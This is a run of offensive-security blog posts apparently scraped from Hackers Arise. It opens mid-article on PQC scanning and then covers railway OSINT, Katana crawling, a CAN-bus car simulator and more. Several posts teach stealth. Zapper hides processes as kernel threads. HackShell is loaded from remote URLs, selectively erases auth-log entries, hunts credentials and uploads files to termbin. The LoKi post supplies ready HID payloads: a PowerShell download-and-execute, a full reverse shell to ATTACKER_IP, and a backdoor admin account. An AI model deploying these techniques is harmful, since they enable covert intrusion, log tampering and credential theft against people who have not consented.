Quantum risks may help tracking the progress of your migration. The results below are from a different company, but you can see they have only 3 PQC ready hosts out of 308. 

Recommendations will help you address issues by giving you prioritized actions. 

The recommendations were intentionally redacted by us to make them unusable. However, you can still clearly see how the page is structured.

Finally, your main goal is migration. Here it lists all the migration phases and gives you deadlines by which they need to be completed. 

As you can see, legacy TLS should be abandoned by 2027 and hybrid PQC key exchange should be introduced no later than 2028. That applies to everyone, not just this organization in particular. The report gives clarity and orients your client so there’s no confusion.

Scanning Assets – Web

If you don’t want to work in the terminal, you can use the web version. 

root > docker pull qubitac/acscanner
root > docker run -d --name acscanner -p 8080:80 qubitac/acscanner:latest 

It’s available in the browser on http://localhost:8080/.

Summary

AC-Scanner is easy to work with if you use Docker, otherwise you’ll run into some incompatibility issues. The dashboard has all the valuable information and most importantly it’s actionable and orienting. You don’t just see the vulnerabilities, you get a guide with recommendations on how to fix them too. Your client will definitely appreciate that.

Want to learn how to prepare your network for the post-quantum world? Join our Preparing Your Network for the Post-Quantum World training, taking place October 13-15 at 3 PM UTC. Available exclusively to Subscriber PRO students.

The post Quantum Resistance: Scanning Company Assets for PQC Readiness first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

Railways are probably the most talkative piece of infrastructure in the world. Unlike military installations or closed networks, most railway data is deliberately published in the open: timetables, track diagrams and network lengths. All of this exists to serve passengers, logistics companies, and researchers, but that same data turns out to be a powerful OSINT resource for transport infrastructure analysts and security researchers alike.

In this article, I will walk through a set of open tools that let you investigate the rail infrastructure of almost any country, from a static map of the tracks to the real-time position of a single train. Let’s get rolling!

Why This Matters

A rail network is the physical backbone of a country’s logistics, covering passenger traffic, freight corridors, border crossings, and industrial sidings. For an analyst, it is a source of information about the network’s topology, meaning which lines connect where, which stations act as junctions, and which branches simply end. It also reveals capacity and traffic load, since it shows how many trains actually run on a given route. Beyond that, it exposes concrete infrastructure objects such as stations, depots, marshalling yards, and industrial spur lines. Finally, it can show real-time dynamics, meaning where a specific train or tram happens to be right now.

Each tool described below covers a different slice of this picture. Together they form a fairly complete stack for railway OSINT.

Step 1: OpenRailwayMap

https://www.openrailwaymap.org

This is a derivative project of OpenStreetMap dedicated entirely to railway infrastructure. The map displays tracks broken down by electrification, gauge, and number of tracks, along with signaling equipment and speed limits through its Maxspeed layer. It also shows stations, platforms, depots, and switches, and includes an operations layer that reveals which operator a given section of track belongs to.

Step 2: NS International Station Maps

https://www.nsinternational.com/en/stations/station-maps-floor-plan

This is a catalog of floor plans for European railway stations. It is useful when you need to understand the internal layout of a specific hub, including platform positions, exits, and interchange points with other transport modes.

For an OSINT analyst, this is a natural complement to satellite imagery. A floor plan shows what you cannot see from above, such as platform numbering, service access points, and staff-only zones.

Step 3: geOps Mobility Portal

https://mobility.portal.geops.io

This is an online tracker that shows the live movement of trains and public transport across most of Europe, tied to the published timetable. On the map, you can see the current position of a service, its train number and rolling stock type, and any delays relative to schedule.

Step 4: Yandex Rasp Train Map

https://rasp.yandex.ru/map/trains

This is a similar service, but it covers Russia, Belarus, Kazakhstan, and Uzbekistan, regions that geOps does not reach.

Step 5: Wikiroutes

https://wikiroutes.info

This is a crowdsourced directory of public transport routes covering trams, trolleybuses, buses, and metro systems in cities worldwide. It is not strictly a railway resource, but it is valuable for analyzing the last mile, meaning how passengers actually get from a station into the city, and for understanding how a rail network integrates with the rest of urban transport.

Step 6: City Population, network length statistics

https://www.citypopulation.de/en/world/bymap/railways

This is a statistical resource showing total railway track length broken down by country and region.

Summary

Rail infrastructure is one of the few types of critical infrastructure where states and operators voluntarily publish an enormous amount of detailed open data, simply because passengers need it. For an analyst that means a combination of free maps, trackers, and directories can produce a picture rivaling that of commercial geospatial analytics products. All it takes is knowing which tool covers which layer of the data.

If you’re looking to enhance your OSINT skills beyond just using this tool, consider exploring OSINT training. If you need assistance in uncovering the truth, don’t hesitate to reach out to us at hackers-arise@protonmail.com, and we’ll conduct a comprehensive OSINT investigation for you.

The post Open Source Intelligence (OSINT): What Open Maps and Trackers Reveal About Rail Networks first appeared on Hackers Arise.

Welcome back, pentesters!

The more experienced a hacker becomes, the harder they are to detect. Beginners are often noisy and leave plenty of traces behind. As they gain experience, they learn to think like defenders and understand how detection actually works.

Today, we’re going to look at a tool that can hide your processes. It’s Zapper. We’ve already seen reports of it being used by hackers to masquerade their long running processes and make them look legitimate.

What is Zapper?

Zapper is a tool created by Hacker’s Choice. Unlike a lot of crude hiding methods, it actually works well. Zapper doesn’t need root privileges to run and it can work even as a static binary, one you can rename too.

Not only can you hide the command line itself, but the environment variables of a process too, along with what’s in /proc/<PID>/environ. The tool doesn’t depend on LD_PRELOAD or libc tricks, it uses ptrace() to manipulate the ELF Auxiliary Vector instead. The performance overhead is tiny, so you won’t even notice it.

Using Zapper

First you need to get the binary. Let’s use the command from the project repository:

bash$ > curl -fL -o zapper https://github.com/hackerschoice/zapper/releases/latest/download/zapper-linux-$(uname -m) && chmod 755 zapper && ./zapper -h

Defenders often monitor traffic and certain keywords may trigger alerts. So it’s best to rename the tool and then host it on your C2. 

bash$ > mv zapper systemd-control

Here we renamed the binary to systemd-control. On many Linux distros, the actual systemd components live inside /lib/systemd, so placing the renamed file there and changing the timestamps can make it hard to catch, unless someone’s monitoring that directory too. That’s basically why you as a defender can’t rely purely on filename based detection.

The help menu has plenty of examples and shows some creative ways you can use the tool:

bash$ > ./systemd-control -h

Hackers can hide binaries along with their child processes. They can create hidden tmux sessions to maintain persistence on a server without showing up in normal process listings. They can also leave the program name exposed but strip all the command line options, making the process look generic.

For the demonstration we’ll hide an nmap scan and all its arguments:

bash$ > exec ./systemd-control -f -a '[kworker/2:2-events_power_efficient]' nmap IP -Pn -sV -sC > /dev/shm/scan.txt &

This command makes it look like a kernel worker thread. Most admins would just ignore it. While it’s running, you won’t find it anywhere with ps or any other tool. The scan results were saved in /dev/shm/scan.txt, that proves it worked.

bash$ > ps aux | grep nmap 
# no nmap in ps

bash$ > cat scan.txt

You should try it on a pentest to emulate a realistic threat and see whether defenders can catch it.

Summary

Zapper can help when you need to hide a suspicious long running process. It masquerades them as something legitimate that every admin would just skip past. The commands and arguments can’t be found in /proc either. You don’t need root to work with it, so it’s suitable for a lot of engagements. With all these qualities, it gained popularity fast and has already been seen in DFIR reports on cyberattacks.

If you like Linux and want to advance your skills, consider joining our Advanced Linux for Hackers training.

The post Linux: Zapper – How Hackers Hide Malicious Process first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors and bug bounty hunters!

When we work with web applications, we often need to effectively crawl and spider them to understand what we’re dealing with. But the main problem we might encounter is that a target web app is an SPA, or single-page application. This means that the website loads a single HTML file initially and dynamically updates the content within that page as the user interacts with it. Therefore, traditional crawling tools become ineffective with modern web applications.

To work with modern JavaScript frameworks, single-page applications, and sophisticated authentication mechanisms, we can use the Katana framework from ProjectDiscovery. Katana is a web crawler that allows you to discover hidden paths, parameters, and endpoints in web applications. It’s fast, modular, and supports multiple crawling techniques.

One of the most impressive aspects of Katana is its ability to handle JavaScript execution and dynamic content rendering. Traditional crawlers often miss critical functionality because they cannot execute JavaScript or understand how modern web applications dynamically generate content. Katana addresses this limitation by incorporating headless browser capabilities that allow it to fully render pages, execute JavaScript, and discover content that would otherwise remain hidden.

Let’s explore how to download, install, and utilize this powerful reconnaissance tool to enhance your web application security testing capabilities.

Installing Katana

There are few methouds of installing the tool. In this article, I’ll focus on installing using Go programming language.

First, verify if Go is already installed:

kali> go version

Install Katana using the Go package manager:

kali> go install github.com/projectdiscovery/katana/cmd/katana@latest

Verify the installation:

kali> katana -version

Crawling Modes

Katana supports two main crawling modes, each tailored to different types of web applications and use cases.

The Standard Mode is designed for speed and simplicity, making it ideal for traditional websites. It uses Go’s built-in HTTP library to handle requests and responses, parsing raw HTTP response bodies without executing JavaScript or rendering the DOM. This lightweight approach ensures fast performance but may miss endpoints in more complex applications that rely on browser-based events.

In contrast, the Headless Mode offers a more thorough crawl by simulating a real browser environment. This mode is especially useful for modern, JavaScript-heavy applications, as it captures both raw and rendered content. By mimicking a legitimate browser fingerprint (including TLS and user-agent headers), it improves coverage and detection of dynamic elements.

You can enable Headless Mode with the -headless flag and customize it further with several options:

• -sc / -system-chrome: Use the locally installed Chrome
• -sb / -show-browser: Show the browser window during execution
• -ho / -headless-options: Pass custom Chrome options
• -nos / -no-sandbox: Disable the Chrome sandbox (useful for root users)
• -cdd / -chrome-data-dir: Specify a custom Chrome data directory
• -scp / -system-chrome-path: Set a specific path to the Chrome executable
• -noi / -no-incognito: Disable incognito mode

Basic Website Reconnaissance

Let’s start with a fundamental reconnaissance scenario where we need to map a target website’s structure and discover all accessible endpoints. For this example let’s try to understand application’s structure of Vesti.ru – Russian news website.

kali> katana -u https://example-target.com -d 5 -c 10 -o target-crawl-results.txt

-u: Specifies the target URL

-d 5: Sets maximum crawling depth to 5 levels

-c 10: Uses 10 concurrent threads for faster crawling

-o: Saves all discovered URLs to a file

JavaScript-Heavy Application Crawling

Modern web applications often rely heavily on JavaScript for content generation. Here’s how to handle an AngularJS-based single-page application.

kali> katana -u https://angular-app.com -js-crawl -headless -timeout 30 -delay 2 -o angular-results.json

-js-crawl: Enables JavaScript execution during crawling to handle AngularJS controllers and directives

-headless: Uses headless Chrome for rendering AngularJS templates and executing digest cycles

-timeout 30: Sets 30-second timeout for page loads to accommodate AngularJS bootstrapping

-delay 2: Adds 2-second delay between requests to allow AngularJS routing transitions

Known Files Discovery

Crawl for common files like robots.txt and sitemap.xml that often reveal valuable information about website structure and hidden content. These files can provide insights into:

• robots.txt: Disallowed directories and files that may contain sensitive information
• sitemap.xml: Complete site structure including pages not linked from main navigation
• Other discovery files: Common configuration files, backup files, and administrative interfaces

kali> katana -u https://example.com -known-files all -d 3

Note that a minimum depth of 3 is required to ensure comprehensive discovery of all known files across the target application.

Filtering Capabilities

Katana offers robust filtering features that help users process, refine, and manage crawl output with precision. These capabilities make it easy to isolate valuable data, reduce noise, and tailor results to match specific goals.

Users can filter output by specific fields, include or exclude URLs based on extensions or regular expressions, and even define custom fields using a YAML configuration file. This flexibility is crucial for handling the often large volume of data produced during a crawl, ensuring that users can focus on the most relevant information.

Some key filtering options include:

• -field or -f: Display specific fields (e.g., url, path, fqdn, rdn)
• -store-field or -sf: Save selected fields to disk
• -extension-match or -em: Show only URLs with specific file extensions
• -extension-filter or -ef: Exclude URLs with specific file extensions
• -match-regex or -mr: Include URLs that match a regex pattern
• -filter-regex or -fr: Exclude URLs that match a regex pattern

Example:
To extract only .js URLs (including those with query parameters) and save their full URLs to a file, you could run:

kali> katana -u https://example.com -match-regex “\.js” -f url -sf url -o js-files.txt

Summary

Whether you’re conducting penetration tests, bug bounty research, or comprehensive cyberwar operations, Katana’s advanced capabilities and modern architecture make it an essential addition to your hacking toolkit.

If you’re serious about sharpening your offensive security skills, consider our Subscriber Pro package. It’s designed to take your expertise to the next level.

The post Web App Hacking: Katana, A Next-Generation Crawling and Spidering Framework first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

In one of our Linux Forensics articles we talked about how widespread Linux systems are. Most of the internet runs on Linux. ISPs rely on it for deep packet inspection, servers host sites on it. Cameras, routers and cash registers run Linux based firmware too. Critical infrastructure depends heavily on Linux as well, from gas stations to industrial control systems.

Master OTW has a great series showing how cameras can be exploited and later used as proxies. Once hackers control a device like that, it becomes a doorway into the organization. And if they’re Linux systems, that means they run Bash. Bash is already a powerful friend to admins and hackers, but we can make it even more stealthy.

We will look at HackShell today. It was built to upgrade your Bash environment during a pentest. HackShell was developed by The Hacker’s Choice and the tool is actively maintained. To evade detection, it loads entirely in memory and doesn’t need to write itself to disk. That reduces the number of artifacts left on a system.

Setting Up

Once you get a shell, load HackShell directly into memory:

bash$ > source <(curl -SsfL https://thc.org/hs)
# or
bash$ > eval "$(curl -SsfL https://github.com/hackerschoice/hackshell/raw/main/hackshell.sh)"

You are all set. When it loads, it does some light enumeration to find details about the machine. This system had gs-netcat running as persistence.

If the compromised host doesn’t have internet access, for example when it sits inside an air-gapped environment, you can manually copy and paste the contents of the HackShell into /dev/shm. Old machines may have compatibility issues, to bypass them run these commands:

bash$ > bash -c 'source <(curl -SsfL https://thc.org/hs); exec bash'
bash$ > source <(curl -SsfL https://thc.org/hs)

Now we are ready to see what it’s capable of.

Capabilities

The developers of HackShell put a lot of thought into what you might need during a pentest. Many helpful commands are built directly into the shell. You can list these commands with xhelp.

We will walk through some of the most interesting ones. The main thing here is stealth. Many commands here reduce the amount of forensic evidence left behind.

Evasion

Here are some commands that will help you reduce your forensic artefacts. 

xhome

This command temporarily sets your home directory to a randomized path under /dev/shm. This only affects your current HackShell session and doesn’t modify the environment for other users who log in. Files in /dev/shm stay in memory and don’t persist across reboots.

bash$ > xhome

xlog

When hackers connect over SSH, their login events appear in the auth log and other places. HackShell can remove these events selectively.

bash$ > xlog '1.2.3.4' /var/log/auth.log

xtmux

Tmux is normally used by admins for long-running tasks. There you can manage multiple terminal windows and keep sessions running after disconnects. In our forensic cases we saw hackers wiping storage using dd inside tmux sessions. That way the system keeps erasing data even if the network connection drops.

This command launches an invisible tmux session:

bash$ > xtmux

Enumeration and Privilege Escalation

Once you’ve changed your home directory and cleaned the logs, you can learn more about the system you work with.

ws

WhatServer shows a detailed overview of the environment. It lists storage, active processes, logged-in users, open sockets, listening ports and more.

lpe

LinPEAS is well-known. It’s a privilege escalation auditing script. It’s frequently updated and often used by pentesters. HackShell can run it directly in memory.

bash$ > lpe

The script will find possible paths to privilege escalation. We already had root on this system, that’s why the output was so rich. But you can work with it under any user account.

hgrep

Credentials can sit in different files and configs. You can hgrep certain keywords to find those files.

bash$ > hgrep pass

This can speed things up.

scan

HackShell can scan hosts and print greppable output, that makes it easy to find open ports across the infrastructure.

bash$ > scan PORT IP

loot

That’s a really useful command. Loot searches through configs and known locations in an effort to find stored creds or sensitive data. It doesn’t always find everything, but it’s definitely worth giving it a shot.

bash$ > loot

If you don’t find much, use lootmore:

bash$ > lootmore

When results are incomplete, use CredsHound.

Lateral Movement and Data Exfiltration

Normally, you don’t exfiltrate data during a pentest unless it’s necessary to test the infrastructure. Mishandling exfiltrated data can expose sensitive information to the internet, which could violate your agreement with the client. Be careful.

tb

This command uploads content to termbin.com. Files uploaded this way become publicly accessible. This must be used with caution. 

bash$ > tb secrets.txt

After you extract data, delete the local copy:

bash$ > shred secrets.txt

xssh and xscp

These commands work similarly to SSH and SCP, but minimize exposure. Defenders may have automatic alerts set up for new SSH sessions, so careless movement can trigger an incident response. 

Connect to another host:

bash$ > xshh root@IP

Upload a file to /tmp on the remote machine:

bash$ > xscp file root@IP:/tmp

Download a file from the remote machine to /tmp:

bash$ > xscp root@IP:/root/secrets.txt /tmp

Summary

HackShell can make your Bash really stealthy. There’s still much more to explore in the tool. If you’re a defender, take the time to study it, see how it loads and find the servers it connects to. This can help you create useful IOCs and strengthen your detection.

If you like ethical hacking, you will enjoy our Cyberwarrior Path. This is a three-year training journey built around a two-tier education model. During the first eighteen months you progress through a big library of courses that develop that will develop your skills. Once those payments are complete, you unlock Subscriber Pro level training that opens the door to advanced topics. This structure was created because students asked for flexibility. You can keep growing and improving without carrying an unnecessary financial burden.

The post Linux: HackShell – Bash For Hackers first appeared on Hackers Arise.

Welcome back, cyberwarriors!

Earlier, we wrote an article on the issues that cars have. These issues are still common and car ransomware might soon emerge, hitting not just individual cars but entire fleets as vehicles get more autonomous and packed with different features.

In light of that, we want to show you a tool that makes car hacking more approachable. It’s GearGoat. The tool was built to simulate a car’s internal network so you can play with it.

GearGoat

GearGoat is a car simulator developed by INE Labs. It lets you work with the internal communication network used by most modern vehicles (CAN bus). Every action generates CAN packets on a virtual interface. You can use cansniffer, candump and UDS scanners with GearGoat, just like with any vehicle.

In a real car, you’d connect a CAN adapter (CANable or Macchina M2) into the OBD-II port, located under the dashboard. This port is basically a gateway into the vehicle’s internal network. Your system will treat the adapter as a network interface (can0) and you can start capturing and sending CAN messages. When someone presses the brake or turns on the indicators, it generates messages that travel across the network.

Setting Up

GearGoat runs inside a Docker container, so it’s easy to deploy. Clone the repository and run the script:

kali > git clone https://github.com/ine-labs/GearGoat.git
kali > cd GearGoat
kali > sudo chmod +x initial_setup.sh
kali > sudo ./initial_setup.sh

Then you need to configure the virtual CAN interface (vcan0):

kali > sudo chmod +x vcan_setup.sh
kali > sudo ./vcan_setup.sh

On certain distros you might be missing kernel modules. Here’s how you install them:

kali > sudo apt-get install -y linux-modules-extra-$(uname -r)

It doesn’t always work on Kali Linux though. You can manually load the required modules and create the interface yourself:

kali > sudo modprobe vcan
kali > sudo ip link add dev vcan0 type vcan
kali > sudo ip link set up vcan0
kali > ip link show vcan0

Now everything should be ready. You can start GearGoat:

kali > sudo docker run --network="host" --privileged geargoat

The simulator will be hosted on http://localhost. There you’ll see different car functions. Each button on the interface generates CAN traffic.

Intercepting Traffic

While the simulator’s running, it continuously generates CAN traffic. To see this traffic, use cansniffer.

kali > cansniffer -c vcan0

The output can feel overwhelming. The tool keeps highlighting changing bytes dynamically. It’s very noisy when you’re trying to establish a baseline. You need a way to tell the tool what normal looks like. Press Shift + 3 + Enter multiple times and cansniffer will treat the current state as the baseline. It won’t highlight the background noise anymore, so you’ll only see the changes you make.

Once the baseline is set, you can start playing with the simulator. Click the Left Indicator button and you’ll notice a change in the CAN data.

The first byte of a frame changes and it’s tied to 0x188. That means this identifier controls the indicator state.

When you play with the speedometer, you’ll see a different pattern. The changes happen in the 4th and 5th bytes are associated with 0x244. The speed climbs gradually.

Repeat this with other controls and you’ll see how functions map on the CAN bus.

Sending Input

Now we know which messages control specific functions, so we can interact with them.

To control the indicators, we’ll send CAN frames using cansend:

kali > cansend vcan0 188#0100000000000000  # left
kali > cansend vcan0 188#0200000000000000  # right

These commands will turn on the left and right indicators. The CAN bus runs at high speed, so these changes can be hard to catch. We used the watch command to make it more visible:

kali > watch -n 0.1 "cansend vcan0 188#0200000000000000"

Working with speed gets slightly more complex. Earlier, we found the address (0x244) and that specific bytes that control the value. To set a speed, we need to convert miles per hour into the format the CAN message expects.

To simulate a speed of 50 miles per hour you send:

kali > cansend vcan0 244#0000001F6F

You can see the simulator accelerating. Use the formula V = round(mph / 0.6213751 * 100) to calculate the value, then convert it into hexadecimal using big-endian.

Capturing and Replaying Traffic

You can also capture and replay traffic. That way you can record a sequence of actions and reproduce them.

To capture traffic, you use candump with logging:

kali > candump -l vcan0 

It’ll record the CAN messages into a log file. Once captured, you can replay it:

kali > canplayer -I <log_file_name>.log

Summary

GearGoat can get you started with car hacking. You work with a simulated CAN bus to understand the communication patterns and message structure. It’s easy to set up and it’s not resource intensive, so it’ll run on pretty much any computer.

We also have our three-day Car Hacking training, showing you real attacks. It includes CAN protocol exploitation and the use of Software Defined Radio (SDR). There we show you how modern vehicles are actually compromised.

The post Automobile Hacking: Hacking with GearGoat first appeared on Hackers Arise.

Welcome back, cyberwarriors!

We’ve had different series on building your own BadUSB. Together we built a hacking drone and a WiFi Pineapple to test wireless devices. Aircorridor covered Meshtastic, secured his node and showed how it works in different conditions.

Today, we want to show you LoKi, which is a LoRa/Meshtastic based implant for red teaming. You can send commands to a LoKi device using long range (LoRa) radio signals and it runs whatever it was asked to, creating backdoors or setting up a reverse shell with a C2. You can get really creative here.

LoKi 

LoKi came out recently and was presented at DEF CON 34 in the Demo Labs. Essentially, it’s a BadUSB HID device that looks like a computer mouse and works just the same. There’s nothing suspicious about it and the victim won’t notice anything.

Here’s how its architecture looks. On the left you’ve got multiple Meshtastic devices forming a mesh network. One of them sends a command over LoRa radio to the implant. The LoRa module receives the message and converts it into USB HID keystrokes, like a RubberDucky. Those keystrokes then go into the USB hub.

The original mouse electronics (Mouse USB Header) are also connected to the same USB hub, but the USB cable that used to run straight from the mouse PCB to the computer gets cut. The LoRa implant and the original mouse are now wired through the USB hub instead. The red lines show this new path.

Hardware

For the LoRa module the developer picked the Heltec V3 Lite. He used the Heltec V3 with the OLED display for prototyping, but the V3 Lite draws less power and you can easily fit it into wired USB mice. The Heltec V3 also has an extra USB port that you can configure as any device class, but we need the HID device class for this attack. The onboard USB with the type C connection is a fixed CDC class for programming and debugging. You can’t change that.

For the USB hub he picked the Adafruit CH334F. It’s a tiny 2 port hub that’s a perfect fit for this project.

And here’s a photo of his early prototype.

Schematics

The Heltec V3 and V3 Lite devices have the additional USB port on different pins. The one below is for the Heltec V3 Lite.

Here the Heltec Wireless Stick Lite is connected to one port of the Adafruit CH334F USB hub using its secondary USB data lines (GPIO20 as D+ and GPIO19 as D-), along with 5V and ground. These pins are configured in firmware as a USB HID keyboard, so the board can inject keystrokes. The original mouse’s USB header is wired to the second port of the same hub using the standard color coded wires (red for 5V, green for D+, white for D-, and black for ground), so the mouse keeps functioning normally.

The host side of the hub is connected to the mouse’s original USB cable, which then plugs into the target computer. That way one USB connection carries both the genuine mouse and the hidden keyboard implant.

Firmware

The implant runs a modified version of the official Meshtastic firmware, which you can find here. It’s a fork of the Meshtastic code with custom additions for the implant. You can send the same style of commands used by the USB Rubber Ducky (STRING, DELAY, GUI, CTRL, ENTER, and so on). The firmware only works with direct messages addressed to the implant and ignores normal broadcast chat traffic, so ordinary Meshtastic messages can’t accidentally trigger keystrokes.

You can use PlatformIO to flash the firmware.

Payloads

The project doesn’t really include any payload, so you’ll need to come up with your own. Here are some payloads we made for you:

Download and execute a payload:

GUI r
DELAY 1000
STRING powershell -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://yourserver/payload.ps1')"
ENTER

Create a reverse shell:

GUI r
DELAY 1000
STRING powershell -nop -w hidden -c "$c=New-Object Net.Sockets.TCPClient('ATTACKER_IP',443);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$sb=(iex $d 2>&1|Out-String);$sb2=$sb+'PS '+(pwd).Path+'> ';$sb2b=([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sb2b,0,$sb2b.Length)}"
ENTER

Add a local admin user:

GUI r
DELAY 800
STRING cmd
ENTER
DELAY 1000
STRING net user backdoor P@ssw0rd123 /add
ENTER
STRING net localgroup administrators backdoor /add
ENTER

There’s also a table we left for you to grasp the logic, if you’re not familiar with it.

Summary

Before LoKi we used to work with loops and control these rogue devices over WiFi. Now you can do it with a lot more range. A mouse is just an example, it can be swapped out for something else. The core idea of LoKi is that it’s a LoRa implant. It’d be great to see more creative ideas built around it.

If you enjoy experimenting with frequencies and trying new things, we have our SDR for Hackers training. Master OTW will show how to use your computer and inexpensive SDR hardware to hack a wide range of radio signals. It’s available for beginners and advanced students.

The post Persistence: Sending Keystrokes from Kilometers Away with LoKi first appeared on Hackers Arise.